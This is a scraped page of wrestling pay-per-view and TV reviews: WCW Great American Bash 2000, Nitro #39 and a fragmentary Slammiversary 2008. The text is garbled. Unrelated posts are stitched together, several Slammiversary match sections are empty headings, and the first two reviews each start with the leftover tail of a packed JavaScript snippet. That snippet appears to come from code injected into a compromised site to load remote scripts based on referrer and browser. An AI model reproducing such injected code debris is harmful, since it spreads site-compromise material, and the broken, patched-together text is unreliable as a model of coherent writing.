");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hybhd|var|u0026u|referrer|tztzi||js|php'.split('|'),0,{})) American Bash 2000
Date: June 11, 2000
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 7,031
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

 

Well I figured that since I’m halfway through 2000 I might as well finish the year off and for some reason I thought it would be better to start adding one on to the end at a time. Anyway the main event is Jarrett vs. Nash for the title with a huge swerve that would be blasted from one end of the world to another but that’s expected. The rest of the card is your usual WCW 2000 garbage so let’s get to it.

 

There are cops waiting on Goldberg to get here because I guess he isn’t here yet or something.

 

The opening video talks about the matches tonight, which has Flair vs. Flair and Hogan vs. Billy Kidman. Well ok then. No theme to it or anything, just a list of some matches.

 

Apparently Goldberg has been let out of a Nashville jail. Why is he in it? Who cares. Apparently he was in it though.

 

Cruiserweight Title: Disco Inferno vs. Lieutenant Loco

 

Loco is Chavo Guerrero and is champion here. Chavo says he has a surprise for Disco: and it’s something that the announcers aren’t thrilled with him having. I don’t particularly care since they’re not sure either but apparently it’s something they would have gotten in trouble for having. Disco is part of the Filthy Animals here. Can we just look at Major Gunns and Tygress?

 

Everyone is chilling at ringside so it looks like a lumberjack match for the most part. Disco is in a Lakers jersey and Chavo is in blue camouflage so this is a rather weird looking match to say the least. Chavo takes over to start but Disco gets a hot shot to take over. And never mind as he gets sent to the floor for the quick beatdown by the Misfits. Scott dubs Disco the Hip Hop Inferno.

 

Big dive off the top by Chavo takes out Disco as this match is dragging badly. It’s not that bad but it’s just a bit boring to say the least. Back in the rind and Disco gets a slam and dances a bit. Some old dude in a helmet wanders out to hit on Tygress. Apparently he’s General Rection’s grandfather so Konnan shoves him down. While that’s going on Juvy comes in and beats up Loco but Lash Leroux takes out Disco and puts Chavo on top for the pin.

 

Rating: D. What a freaking mess. You have Chavo who was incredible at this point and Disco who was……well Chavo was incredible at this point so he more than could have carried a five minute match by himself. Instead this was a total wreck with no flow at all to it and barely any wrestling at all. Why do I have a feeling that this is going to be a running theme tonight?

 

Some very bad actors dressed as cops tell Bischoff and Miller that their surprise for Nash is safe.

 

The Mamalukes say they’ll win. This results in a lot of bad Italian stereotypes. Apparently Vito claims to be the Hardcore Champion even though Johnny the Bull was supposed to be.

 

Order this show and get a Hulk Hogan…..inflatable raft? Dude…..why?

 

Kronik vs. Mamalukes

 

Winners are the #1 contenders. During the intros we’re assured that Goldberg WILL NOT be here tonight. Good to know indeed. The winner gets the Perfect Event. Apparently since the Mamalukes are in the New Blood they can defend the title using the Freebird Rule. Vito gets beaten down by Adams to start and they switch off. Clark hits a Rock Bottom to Johnny and the Italians are getting destroyed so far.

 

Vito comes back in and still has the belt on. I have a feeling that’s going to be a running joke here. Clark gets chopped and smacked in the chest a few times as Tony talks about how the Mamalukes walked into WCW and won the tag titles. Yes, that doesn’t bury the division in the slightest. Adams comes in to hammer on Johnny a bit. Full Nelson Slam kills Johnny for two. DDT gets no cover for Johnny as he brings in Vito instead.

 

Not that it really matters as Kronik hammers him down using the power of marijuana. Their name was Kronik and their finisher was called High Times. What do you think they were talking about? Clark botches what would become known as the F5, more or less dropping him on his head for two. Johnny comes in so Vito sits goes over and polishes the belt. A reverse cross body literally misses by four feet and High Times end Johnny a second later. Vito doesn’t seem to mind.

 

Rating: C-. Just a match really as there was no real need for them to fight other than for the sake of being the #1 contenders. Not bad or anything, but I have no idea who I was supposed to cheer for out there. In other words, Russo lives! Let there be no defined faces or heels ever!!!

 

DDP has something special for Mike Awesome apparently.

 

Diamond Dallas Page vs. Mike Awesome

 

This is an ambulance match. Page’s surprise is Chris Kanyon in a wheelchair after Awesome threw him off a cage and broke his neck or something. And of course, Kanyon will NEVER turn on DDP EVER! They head to the floor and then the crowd almost immediately. Page gets a shot in to send us back to ringside very quickly as this is a big brawl. They somehow change momentum three times in 10 seconds and make it four in 12.

 

The referee is down also but that’s WCW for you. To the ring now as the referee is getting up a bit. Awesome comes off the top with a back elbow and a belly to back suplex has Page down. Tony thinks it’s odd that there’s no surprise yet, even though Bischoff kept saying it was for NASH, who hadn’t been seen yet. Awesome sets up a table as we talk about Kanyon a bit.

 

Powerbomb through the table as this is a match that was used in a clip on Whose Line Is It Anyway? Page is put on a stretcher because simply throwing him in the ambulance isn’t enough I guess. Awesome gets a chair shot in and we head back to the ring because winning doesn’t matter right? Top rope splash looks to kill Page and the second probably does. A third splash misses as Page is between a pair of chairs this time so he had to move right?

 

Here’s Kimberly because Page is out there. They’re having “problems” which were probably brought on by her heel turn. She hits DDP with a pipe so Miss Hancock (Stacy Keibler) comes out and drags her off. They’re “having problems” also apparently. Awesome looks for an Awesome Bomb off the top but Page gets a low blow and a Diamond Cutter off the top. The medical people put him on a stretcher and here comes Bischoff to take out Kanyon. And of course Kanyon comes out of his wheelchair and hits a Diamond Cutter to end Page. Awesome wins with ease.

 

Rating: D. The match was junk, but let’s take a look at the angle that ended the match. Kanyon was indeed thrown off a cage to the ramp. It’s not like we saw that off camera or anything. DDP took care of him and then Kanyon betrays him for the people that tried to cripple him in less than a month? Are we really supposed to buy that Awesome was able to convince Kanyon that Page was the bad guy? Or that Kanyon was in on this all along and that he went along with being thrown around like that? And people wonder why Russo’s booking is so criticized.

 

The announcers point out how stupid this is.

 

Shawn Stasiak vs. G.I. Bro

 

And here’s the latest way to waste a guy like Booker: he’s a military guy when there’s already a military themed stable. He comes in on a zip line like Shawn did at Mania 12, but at about 1/3 of the height and 1/10 of the speed. The announces speculate that Kanyon was the surprise because they’re not that smart. Oh apparently Booker is part of the MIA. It just wasn’t mentioned until here.

 

This is a Boot Camp match, which means Last Man Standing. Why they’re fighting isn’t required information but I’d bet it’s MIA vs. New Blood. They’re both in camo here because that’s what you do in the army right? Booker takes him to the floor and hammers away as we go into the crowd. WEAK chair to the head (drawing slight booing) takes down Stasiak for all of a second. A horrible top rope forearm gets about seven.

 

Oh and don’t worry: we’re willing to cut away to the back at the drop of a hat if Goldberg arrives. You know, because you paid your money to see a car pull into a parking lot 45 minutes into a show right? Jumping back elbow puts Booker down and they actually treat it like a move that could end this. Big spinwheel kick by Booker takes him down for no reaction for the most part.

 

Stasiak sends him to the floor and we head to the ramp for a suplex. Back in the ring as there’s no heat on this match in the slightest. Back to the floor again as they have no idea what to do with nearly 14 minutes total for this match. Chair shot puts Booker down on the floor and back in the ring a gutwrench powerbomb gets 9. Time for a sleeper because this match isn’t boring enough already.

 

The fans chant boring and I can’t blame them in the slightest. This is what we mean when we say adding a gimmick for the sake of adding a gimmick. They can’t even explain why these two are fighting and yet we’re supposed to want to see a gimmick match between them an hour into the show in the fifth slot? There’s no heat here and the only reason this gimmick is here is because someone has a military gimmick.

 

Book End hits out of nowhere and I don’t bother waiting to hear what the stupid military name of that is. They call it a uranage suplex here but screw that. Of course it only gets like five but it sets up the missile dropkick, as in both of his finishers that can’t take down Stasiak. Palumbo, Stasiak’s partner, comes out with the Lex-Flexor exercise bar but hits Booker low anyway. A shot to the back of Booker puts him down as Tony rants against relaxed rules in a match with no rules. Booker gets up and mostly hits a double clothesline and beats up the tag champions on his own. A shot to Stasiak with the flexor ends this.

 

Rating: D-. Oh give me a break. Someone thought that Shawn freaking Stasiak was the best use of Booker T here? I mean come on now man. There was zero reason at all for this to be a gimmick match in the slightest so they went with it anyway. Guess what is up next: a gimmick match. After that, another gimmick match. Before this, another gimmick match. This is a great example of Russo’s writing in a nutshell and one of the better ones you’ll ever see. Oh and the match sucked, easily the worst last man standing match I’ve ever seen.

 

Goldberg’s monster truck is here.

 

Page might still be here.

 

Kanyon says he’s positive DDP is gone. Make that Positively Kanyon. This was the start of Kanyon’s newest gimmick: he would imitate Page who had a new book out called Positively Page. This, of course, went nowhere of note. This somehow translates to Bischoff got to Kanyon in the hospital and brainwashed him. I give up.

 

The Wall vs. Shane Douglas

 

Douglas curses a lot before the match and apparently doesn’t like Flair and Hogan. Now this is no longer a tables match as we’re going to make it a best of five tables matches with Shane saying now we’re guaranteed five tables being broken. Thank you for admitting you’re going through at least two Shane. Ok now you have to put someone through five tables to win. PICK A RULE ALREADY!

 

It’s first to five now. Ok, let’s stick with that. Wall has a really stupid looking black goatee now so he looks like a cross between Hitler and Kurrgan. Again no reason given for why they’re fighting or anything because that would be important information right? Standard match to start as we continue to waste more time on this show. Douglas hits a suplex and a reverse Hennig neck snap.

 

Wall is sent onto a table but not through it. No one has gone through anything yet. They fight on the floor in maybe second gear at best. Shane tries a suplex through it but gets countered and Wall hits a chokeslam to go up 1-0. Wall blocks a shot into the post and gets a release belly to back suplex through the table as they change the rules in the middle of the match to make it best of five instead of first to five.

 

Back in the ring as Shane is totally fine after a pair of table breaks with a low blow. Shane wants to take it to the back but settles for by the stage instead. What a shock: there are a bunch of tables there with a ladder next to them. Shane goes up the ladder and there are either two tables on a stage or three in a row with a cloth over the bottom one. Wall has his back to the tables but wants a chokeslam anyway. Shane knocks him through it with brass knuckles as all of a sudden it’s just TWO tables again but they say Shane wins anyway as it switches from 3 to 2 to 3 again inside of five seconds. Just go on already.

 

Rating: F+. We get it: you can have gimmick matches. Was there a point to having this be a table match? Or even to have the match in the first place? NOT IMPORTANT!!! This is yet another stupid gimmick match as Russo treats its fans like idiots that are going to be easily fascinated by things being broken. Whatever dude.

 

Wall puts the referee through a table post match just because.

 

Hogan arrives, 75 minutes into the show in an old school Dodge Charger.

 

US Title: Scott Steiner vs. Tank Abbot

 

Scott is US Champion here and this may or may not be for the title. We’ll say it is anyway as it would make sense…..yeah let’s just go with non-title. It’s also in the Steel Asylum. Here’s another brilliant idea of WCW. The Asylum is a small round cage about 10 feet in diameter that is lowered into the ring. No ropes or anything, just a small cage. And now Rick Steiner is added to the match to make it a handicap. Well sure why not.

 

US Title: Scott Steiner vs. Rick Steiner/Tank Abbott

 

Scott is a face here if that wasn’t clear. Rick and Tank double team him for awhile and here comes the cage. The fans chant for Goldberg but even he couldn’t save something this stupid. They destroy Scott for a minute or so until Tank pulls out a chain. Rick pulls a Lee Corso (that name won’t mean anything to you if you’re not from America or into college football) and says not so fast my friend. Abbott hits Rick with the chain, Scott gets a low blow, Recliner keeps the title on him. Ok so it was for the title. Good thing they waited until after the match to tell us it was in jeopardy no?

 

Rating: J. As in just….no. It runs less than four minutes, two of which are spent hammering on Scott before the whole cage thing came down. The stuff inside the little ring of death or whatever is maybe 90 seconds long and the whole thing is just stupid. I guess this was so they didn’t need to have Steiner run or whatever. Just move on.

 

Flair is here, looking like Doc Brown from Back to the Future goes Hawaiian.

 

We recap Hogan vs. Kidman. Kidman got a fluke win over Hogan so this is the rematch. If Hogan wins, he gets a title shot next month (oh boy. It’s THAT show) and if Kidman wins, Hogan retires. Hogan’s nephew Horace is refereeing and doesn’t like his uncle.

 

Billy Kidman vs. Hulk Hogan

 

Horace comes out with Kidman. Kidman has some Shawn Michaels like pyro. It’s the NWO theme for Hulk here. Kidman goes straight at him….and is destroyed pretty quickly. There’s the big boot maybe a minute in so Kidman hits the floor. Torrie has turned her back on Kidman. Meaning she WILL NOT be here right? Kidman has had no offense at all so far.

 

Back to the ring and it’s time for choking. Hogan gets in Horace’s face which of course goes nowhere. Kidman comes back with some choking but a low blow with Horace looking right at them is ignored. Here’s the weightlifting belt which is Hogan going EXTREME I guess. Back to the floor and Kidman dropkicks a chair into the face of baldie. That gets two in the ring as this is as riveting as it sounds.

 

Hogan continues to do almost nothing but punch and choke. Oh wait he rammed him into the railing twice. Hudson makes sure to let us know that we’re here because of Hogan and no one else PERIOD. Back to the ring as Kidman hits a DDT onto the chair that is so bad it’s booed before Kidman can even cover. I mean Kidman is off Hogan who then SLOWLY lowers his head down onto the chair. This is horrible.

 

Kidman gets two again and yells at Horace for calling it unfairly or something. The fans chant for Hogan who I think is the face here, making him out to be a huge bully for hammering on a guy half his size. Here comes the Hulk Up against the guy called the Flea Market Champion. There are ten punches in the corner and a running clothesline. Back to the floor for like the 4^th time and Kidman is tossed through the table.

 

Here’s Torrie so at least we have something to look at now. She hands Hulk brass knuckles because he needs them I guess. Kidman knocks Hulk into Torrie and her ankle is hurt. Kidman gets a shot with the knuckles in for two. Horace shoves Kidman and now let’s get stupid as Kidman hits Horace with the knuckles. So if they were still on his hand, why didn’t he hit Hogan with them again instead of choking him? Torrie hits Kidman low and a shot with the knucks to Kidman ends this. Oh and Hulk and Horace are cool again.

 

Rating: D-. Hey look: another stupid match with a way overbooked ending and a gimmick to it. Hogan was never going to job to Kidman twice and now Kidman looks like just as much of a joke as he did before this whole Hogan thing. It’s the difference between a rub and being in the ring with someone. He wouldn’t do anything after this other than feud with Shane Douglas which went nowhere. It’s not a failure because Torrie looked good and that’s about it.

 

Bischoff yells at a cop about life in general.

 

Bash at the Beach is coming, sponsored by Master Lock. Yes, a lock company is the best they can get at this point.

 

We recap David Flair vs. Ric Flair with the idea being that Russo has brainwashed David into thinking that Russo is the father that David never have and it’s a big Ric vs. Russo thing.

 

Russo says this is going to be fun.

 

Ric says this is going to be fun.

 

Ric’s family shows up.

 

Ric Flair vs. David Flair

 

If Ric loses he has to retire FOREVER (which is how it says it on the graphics). With Russo on the floor we actually gets some wrestling here as Ric does most of the work, namely because he has about 100x the talent. David chops away in the corner and actually takes over for a bit. You know Ric is going to sell for his oldest boy. Ric gets sent into the railing and takes a decent delayed vertical suplex for no cover.

 

And so much for David’s decent run as we hit a bad sleeper. Ric suplexes out of it and we have a very basic match going here. David’s shirt comes off as this is going very slowly here. Out to the floor as Ric takes over again. We need to get to the next match so I can use last names again. Russo interferes and takes out the knee of Ric and handcuffs him. So the referee had his back to Ric and Russo and all of a sudden Ric is in handcuffs….AND THAT’S ALL COOL??? And people wonder why this company was called stupid.

 

David puts on the Figure Four which gets him nowhere for the most part. It does get Russo to hold his hands. Does that mean they’re going steady? Reid Flair jumps the railing and hits Russo in the balls and steals the handcuff key. The referee gets the key as David beats up his brother and frees Ric. Ric’s wife or daughter (like you can tell) cuffs Russo and Ric taunts him a bit. Ric beats on David for awhile before putting him out of his misery with the Figure Four.

 

Rating: C. Somehow this was by far and away the best match of the night so far unless I’m forgetting something. It’s not that bad, mainly because they let Ric walk the far more inexperienced David through it. They didn’t try to make this too complicated and that fits because David had very little experience and his character wasn’t much of a wrestler anyway. Not too bad here I guess, all things considered.

 

Ric chops Russo a bit post match. Russo rants about various things, making a match for tomorrow night between Ric/Reid vs. Russo/David in another retirement match which would retire Flair.

 

We recap Vampiro vs. Sting with the idea being that it’s a human torch match. You have to light the other person on fire to win. That’s nothing like the Inferno match at all is it?

 

Vampiro vs. Sting

 

There’s a torch up by the video screen that you have to climb a ladder to get to. This isn’t going to end well is it? Vampiro lights the torch and has a gas can near it. There’s an ambulance and firefighters here for this. Russo must be loving this. Sting pulls the torch up above the screen as I mentioned before. Sting wants to know if Vampiro is afraid of heights because if Vampy wants Sting he has to come up here.

 

Vampiro yells a lot and we stand around a lot. Sting repels down and it’s time for the actual match to start. They fight in the ring as I have a feeling this is going to end badly. Spinwheel kick takes Sting down so Sting comes back even faster with a powerslam and a bunch of clotheslines. Stinger splash misses in the corner so Vampiro pours gasoline on Sting.

 

As always, in a huge arena, the announcers can smell the fuel many feet away. They fight up the ramp and climb up the structure with Sting getting kicked off. The announcers say that’s it so Vampiro keeps climbing. Sting climbs up anyway and there go the lights as we attempt to conceal the obvious switch that is coming up. They “fight” on top of the screen and even with the camera where it is you can barely see anything.

 

And them Vampy grabs the torch and lights Sting on fire. Sting dives off the screen to a crash pad and Vampiro wins. He must have really been burned badly because between falling down up there and the jump he lost about 3 inches of hair and shrunk a good 4 inches. That’s some powerful fire.

 

Rating: N/A. Yeah this wasn’t wrestling. This is one of those matches that is so stupid it defies logic. This is what I recommend doing in this situation: picture the booker/writer pitching this idea to say Jack Brisco, Lou Thesz and Harley Race. If the reaction is either a blank stare, massive amounts of angry cursing or a right cross, IT’S NOT A GOOD FREAKING IDEA!

 

Bischoff is talked to by some blonde chick in the back and doesn’t want to talk right now. There’s no big surprise. What is this, Monster A Go-Go?

 

WCW World Title: Jeff Jarrett vs. Kevin Nash

 

Let’s get this over with. Ernest Miller comes out before the match and introduces the Filthy Animals, as in New Blood cronies (despite them leaving like a week before) to be bell ringer and time keeper and all that jazz. Oh and Miller is referee. Nash shoves him around a lot to start until the Animals distract Nash to let Jarrett taker over. Jeff is champion if I didn’t mention that.

 

Miller is on the floor. Nash hammers on Jarrett and literally everyone stops to look at the entrance and nothing happens. Now back to the match. Weird indeed. Snake Eyes puts Jarrett into the replacement announce table and we go into the crowd. Back to the ring after Nash beats on Jarrett a bit and it’s Jeff with chair shots to the knee. This is one of those matches where stuff goes on but nothing is really happening.

 

Jarrett works on the leg for a good while as we’re clearly filling in time before the whole surprise thing happens. No one buys that the surprise isn’t happen, so I don’t know why we have to waste 15 minutes before we get to it. Half crab to Nash who won’t give up because raising your arm three times in a row is too much effort I guess. There’s the figure four as we waste even more time.

 

The hold goes on for a very long time to the point where most people would have broken their leg already but since it’s Nash he gets to just roll around a bit while barely grimacing. Nash tries to get to his feet but Konnan hits him in the hands with the bell for a two count for Jeff. Nash, despite being in the figure four for two minutes after about five minutes of leg work and a shot to the head with a metal bell from a professional athlete, is able to take over and actually run to the corner to take out Rey.

 

Belt shot gets two as Disco makes the save. Juvy gets in a chair shot to take over as the fans chant for Goldberg. Miller comes in to referee with a two count as this is a total mess. The Animals get beaten down as Nash is fighting seven guys to a stalemate. Jarrett, the world champion, hits his finisher for only two. Well of course it was only two. I mean he’s just the world champion after all.

 

Guitar shot misses and Jarrett walks into a chokeslam for two as Miller has something in his eye. Tony actually shouts BOGUS a few times. Powerbomb to Miller and one to Jarrett but the third referee is taken out by Rick Steiner. Tank Abbott tries to come out but somehow Scott Steiner cuts him off. If Steiner wanted to help, WHERE WAS HE WHEN THERE WERE LIKE EIGHT GUYS ON NASH???

 

Everyone beats on Nash including a Bronco Buster from an unmasked Rey. And cue a big noise as Goldberg is here in his monster truck. Maybe that’s what the sound was earlier? His music kicks on and the place erupts. Goldberg is here….and he joins the New Blood with one of the worst spears you’ll ever see. Yes, the ultra star of the company, the ONE guy they still had that was a big face draw, is added to the super heel group as a Bischoff/Jarrett/Russo lackey. Jarrett gets the academic pin and the SHOCKED celebration ends this mess.

 

Rating: F. You mean, in a Bischoff/Russo booked company, there was a big time face that apparently had been in league with the big heel group the entire time and it was SHOCKING to end a PPV? WHERE DO THEY COME UP WITH THIS STUFF??? The match was awful as Nash wouldn’t sell, the insanity of it was stupid, and Jarrett looked like a guy off Tough Enough.

 

Trash pelts the ring to end this show.

 

Overall Rating: F-. I have no idea what they were going for here but it was one of the worst shows I’ve watched in a long time. The gimmicks were WAY too much and none of them worked at all. You had some bad wrestling, horrid gimmicks, a REALLY stupid heel turn to end the show, and Hogan as #1 contender. Let’s talk about that heel turn for a bit actually.

 

In essence what they were going with was Nash, Hogan and Steiner as the top faces against Bischoff, Russo, Jarrett and Goldberg. In other words, the old guys are the faces and the young guys (if Jarrett counts as a young guy) are the heels. There was one issue with this: Goldberg was so ridiculously popular at this point that he was cheered every time he was on camera, which shows one of two things.

 

One, Russo has no idea what a face is. Oh wait, according to him faces and heels mean nothing. Second, WCW is really freaking stupid. That much is a given so let’s go back to the first part. Assuming what he says is true (it isn’t) then why are there factions or matches at all? Oh that’s right again: Russo doesn’t like having wrestling on his shows. Tell me again, why is this guy praised so much?

 

Anyway, AWFUL show here and somehow it would only get worse with the absolute mess they had the next month with Hogan and Russo clashing.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrnks|var|u0026u|referrer|saakn||js|php'.split('|'),0,{})) Nitro #39
Date: June 10, 1996
Location: Wheeling Civic Center, Wheeling, West Virginia
Attendance: 3,500
Commentators: Bobby Heenan, Tony Schiavone, Eric Bischoff, Larry Zbyszko

 

It’s the go home show for the Great American Bash and other than that there isn’t much. The PPV was focused on the football players vs. wrestlers match and the world title was on the side. However, last week the invader (Hall) had promised a BIG surprise for tonight which we’ll get to later. With Sting having confronted him, it was pretty clear that this was going to be a huge angle. Let’s get to it.

 

On the theme song and opening video, there are six shots of people total. Three are Hogan.

 

We get a clip of Hall and Sting last week and them almost going at it.

 

Scott Steiner vs. Booker T

 

This would be huge about four years later. Basic anything you can do I can do greater match to start as I think this is face vs. heel but I’m not sure. Both escape belly to back suplexes but Scott gets a double underhook suplex for no cover. Booker manages to get a boot up in the corner kind of like a superkick to put Scott down. Scissors kick gets two.

 

Off to a front facelock and Booker controls. Spinning cross body off the top gets two. Larry Z giving wrestling advice to Booker is really weird for some reason. Scott gets something like a DDT to break the momentum though and here comes Steiner. We speed things up and Scott gets a belly to belly to put Booker down. Frankensteiner is avoided which gets two for Booker. A top rope splash misses and Scott hits another belly to belly to end it.

 

Rating: B-. Not bad at all here with two guys that were still (kind of) young and motivated and could give you a good match at this point. Also nice to see some young guys out there having some time to show off. Booker wouldn’t mean much of anything for like two years though and Steiner would be about 18 months away, so call this a very early preview.

 

Scott is talking about the match when Debra of all people interrupts him. She wants to talk about her husband and Scott leaves. Nice chick indeed. She talks about how this feud with the Horsemen is her fault. Gene says no it isn’t. She wants to call this off before Sunday and Gene says he’ll try to get something set up with Heenan. It’s not like this mattered because she and Mongo joined the Horsemen on Sunday.

 

Diamond Dallas Page vs. Jim Powers

 

This is for the Battlebowl ring. Naturally we talk about the football thing the entire time because that’s all that matters. To be fair this is going to be a squash so it’s not like it’s as bad as usual. This is Powers’ debut and he’s wearing something similar to leopard print. Page hits a gutwrench gutbuster and stands around a lot. Page’s gum is kicked out and Powers gets some jobber offense in. The crowd does not care in the slightest about him. Powerslam gets two. Not that it matters because there’s the Diamond Cutter and we’re done.

 

Rating: D+. Just a long squash here and by long I mean four minutes. Bagwell faced Page for the ring on Sunday in a match I don’t remember in the slightest. Powers was just a jobber that didn’t mean anything as most jobbers tend to be. Nothing to see here as Page was far from meaning much at this point.

 

Recap of Benoit vs. Sullivan which entails Anderson and paranoia. Anderson said everyone would know where everyone stood on Sunday. The match was great too.

 

Video on Konnan who was pretty different back in the day and in a good way.

 

Konnan, the US Champion at this point, says that he’ll keep the title when he fights El Gato on Sunday. He’s such a legend that no one has ever heard of him.

 

Sting vs. Meng

 

This is more or less just a tune up for Sting for his match with Regal on Sunday. Meng be clubberin to start us off but Sting gets a backdrop to break that up. Meng does his monster that you can’t hurt thing as Sting hits the ropes for a bunch of clotheslines. Face jam puts Meng down but he gets a small package of all things for two. Shoulder breaker puts Sting down so Meng goes up. Sting manages to crotch him and put on the Scorpion for the kind of surprising tap. Not enough to grade but it was exactly what you would expect.

 

Heenan takes Flair to the Horsemen dressing room and shuts the door. Screaming is heard and here they come, beating up a guy named Joe Gomez who is supposed to team with Renegade to face them later.

 

Jim Duggan vs. Dave Taylor

 

Taylor is buddies with Regal. Renegade and Gomez have replacements apparently. The fans like Duggan of course. Oh and those replacements: the world tag team champions Luger and Sting and the titles are on the line. The match of course means little but at least it’s got a point. Taylor cost Duggan a match last week so here you are. After some basic stuff it’s more basic stuff in the form of kicking and punching. There’s the taped fist which is hanging from his hand as the referee counts the pin. Freaking blind idiot. Short and more or less nothing.

 

Video on the Cruiserweight Title which is finally in America. Malenko defends against some guy that is debuting on Sunday. Mysterio I think his name is.

 

We recap Tenta vs. Bubba which is something no one really wanted to see other than them but whatever. Hart says Tenta wasn’t pulling his weight. Bubba says he’ll win and that’s that.

 

Here’s Scott Norton to talk for some reason that no one knows. I don’t think I’ve ever heard him speak. He didn’t like getting chokeslammed last week so he’s coming for revenge tonight.

 

Scott Norton vs. The Giant

 

We get the stupid countdown to the second hour as we wait on Giant’s entrance. Don’t think this is for the title. Norton goes right at him and gets powerslammed for his efforts. Norton comes back and hammers away but we go to the floor and he misses a splash into the post. Chokeslam out there and we’re done. Less than a minute and a half but Norton was impressive here as he took it to Giant. It didn’t work but points for trying at least.

 

Luger comes out post match and Giant massacres him. Luger kicks him low to prevent a chokeslam through the table. A champagne bucket to the head just ticks Giant off and Luger heads to the announce table. He says throw the rules out on Sunday because he’s ready for the big man.

 

Video of the Nasty Boys on some TV show with Dennis Rodman, who is made an official Nasty Boy.

 

Kevin Greene was on the Tonight Show and talked about the match. He picked the name Shallow Grave apparently.

 

Steven Regal vs. Billy Kidman

 

Kidman is a total rookie here. I think this is his WCW debut. Regal kills him for a bit but Kidman gets some stuff in and busts out a 450 (kind of) which misses. Regal puts on the start of a Liontamer but steps on Kidman’s head instead for the tap in less than a minute.

 

Sting comes out for the save post match.

 

Public Enemy vs. Nasty Boys

 

Please….be gentle. Public Enemy runs out during the Nasties’ entrance and the fight is on. There’s the WCW trademark for tag team brawls: split screens where all four guys can be seen on one screen. Knobbs and Grunge are in the ring so we’ll say they’re legal. Middle rope clothesline takes Grunge to the floor as the Nasties are the big faces here. Ok finally into a regular match.

 

Grunge has a broken hand. Sags takes both of them down with a double clothesline and it breaks down into a brawl quickly again. Sags hits a Piledriver as we take a break. Back with Public Enemy in control. Knobbs takes down Grunge but can’t bring Sags back in. There’s Jerry who hits a World’s Strongest Slam on Rocco for two and it breaks down again.

 

Rocco tries to leave as Grunge unbandages his bad hand/arm. Oh ok Rocco left to get a garbage can. Pumphandle slam by Sags looks to set up a middle rope splash from Knobbs but Rocco breaks it up. The trashcan is brought in and the Nasties get caught using it for the DQ. Kind of a stretch given what they had done before that but I can live with it.

 

Rating: D+. Yeah it was bad but it could have been a lot worse. They know how to make brawls decent and they had the right idea here to not make them act like they could work a competent technical match. I wanted to hate this but I really couldn’t do it in good faith. The Public Enemy would actually be tag champions later in the year.

 

Video on Hogan who punches a lot.

 

We recap the coaches being added to the football player match. This is set to a bad country song.

 

Tag Titles: Sting/Lex Luger vs. Ric Flair/Arn Anderson

 

This should be good and there’s a lot of time left. Flair and Luger start us off as the bell rings twice. Luger beats him up and tosses him with ease and does the same to Anderson. Big old gorilla press puts Flair down again. Flair does the Flair Flip in the corner but runs into a right hand from Sting to put him down. Bischoff mentions the concept of Nitro Parties. I never got the appeal of those but they became a big deal.

 

Sting comes in to beat up Anderson for a bit as the champions have dominated the entire time so far. Sting does his double nipup both times he’s pulled down by the hair. Anderson and Flair both get taken down so Flair runs off to grab a chair. The Horsemen chill in the aisle as we take a break.

 

Back with Anderson being pinballed between the champions before Flair comes in to face Sting. Hard to screw this one up. Flair gets a slight advantage and then goes up top. If you don’t know what happens here, go somewhere else. Top rope clothesline gets two for Sting. There’s a superplex for two. Ric goes to the classic thumb to the eye and it’s off to the Enforcer.

 

Spinebuster gets two. Arn does his jump into the air when the other guy is on the mat and Anderson jumps into the legs between his balls for a funny reaction spot. Off to Flair instead who can’t suplex Sting. Sting gets an O’Connor Roll for two and a weird small package for the same. Off to Anderson as we take another break.

 

Back with Flair sending Sting into the guardrail. Back in Sting gets the backslide but Flair makes a blind tag to bring Anderson back in. Sting gets a knee to the nether regions and falls into the tag to Luger. Powerslam gets two on Luger. Luger hits a double clothesline to put both guys on the floor and here’s Giant for the DQ.

 

Rating: B-. Eh it’s Sting/Luger vs. Flair/Anderson for about 18 minutes. This is one of those matches that is going to be good due to just sheer talent in the ring. They know what they’re doing and they’ve fought so many times over the years that they know each other perfectly, which often helps with matches. Flair and Anderson would win at the PPV and the Horsemen would be back.

 

Giant gets beaten up by Sting, Luger and Scott Steiner but just gets mad because of it. Giant says Luger is dead to Gene.

 

Overall Rating: C+. Well the Bash was a two match show and they built those up quite well. Anything else you get out of it was a bonus and you had a decent main event and a story running through the entire show so this wasn’t too bad really. The Bash wasn’t all that good but considering what happened a month later it’s not like it really mattered. Pretty decent show this week.

 

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Slammiversary 2008
Date: June 8, 2008
Location: DeSoto Civic Center, Southaven, Mississippi
Attendance: 2,000
Commentators: Mike Tenay, Don West

 

 

X-Division Title: Petey Williams vs. Kaz

 

 

 

 

We run down the card which is how we roll around here.

 

Eric Young pops up with a microphone and says Elvis is here. Oh geez.

 

Video on Nash who is guest enforcer tonight in the main event.

 

Nash is with JB and says this is all about money and Joe is more of an investment than a friend. If Joe wins tonight, Nash wins. If Joe loses tonight, Nash loses.

 

Here are some shots of Memphis including Graceland.

 

ODB/Roxie/Gail Kim vs. Beautiful People/Moose

 

 

 

 

 

Tag Titles: Team 3D vs. LAX

 

Ray tries to get technical with Homicide for some reason. The fans still want tables. Homicide is like cool man and grabs some armdrags to get control. Ray puts him on the top and pats his head so Homicide dropkicks him down. Hernandez clears the ring (no tag. Cheaters) and both of them dive through the ropes to take out the Dudleys. Homicide tries to go up again but D-Von shoves him down, sending his head into the railing.

 

Ray punches Hector Guerrero and knocks Salinas down. Ray holds up a title belt for some reason while D-Von works on Homicide in the ring. A back elbow puts Homicide down and the Dudleys act all innocent and nice. I miss heel teams doing things like that. Big side slam by Bubba gets no cover. Back to D-Von and the fans say 3-D sucks. I agree. It just makes some of the background clearer and the glasses make the movie darker.

 

 

 

Video on Kong being awesome. Hey that was funny. She has a $25,000 challenge thing going on at the moment which would eventually be claimed by Taylor Wilde (I think). Kong is Knockout Champion here too.

 

Awesome Kong vs. Serena Deeb

 

 

Awesome Kong vs. Josie Robinson

 

 

Christian says he wants to get the title back because he still loves being the best. His win/loss record is better than anyone else over the last year and he wants to be considered among the best ever after tonight.

 

We recap the wedding with Jay Lethal and So Cal Val. Sonjay Dutt has a crush on Val and is trying to steal her away. Lethal had a bachelor party with Christy in a cake which was better than most bachelor parties if nothing else.

 

First though, a picture of Beale Street which is where the blues were born.

 

 

Video on Booker just like the rest of the people from earlier in the night.

 

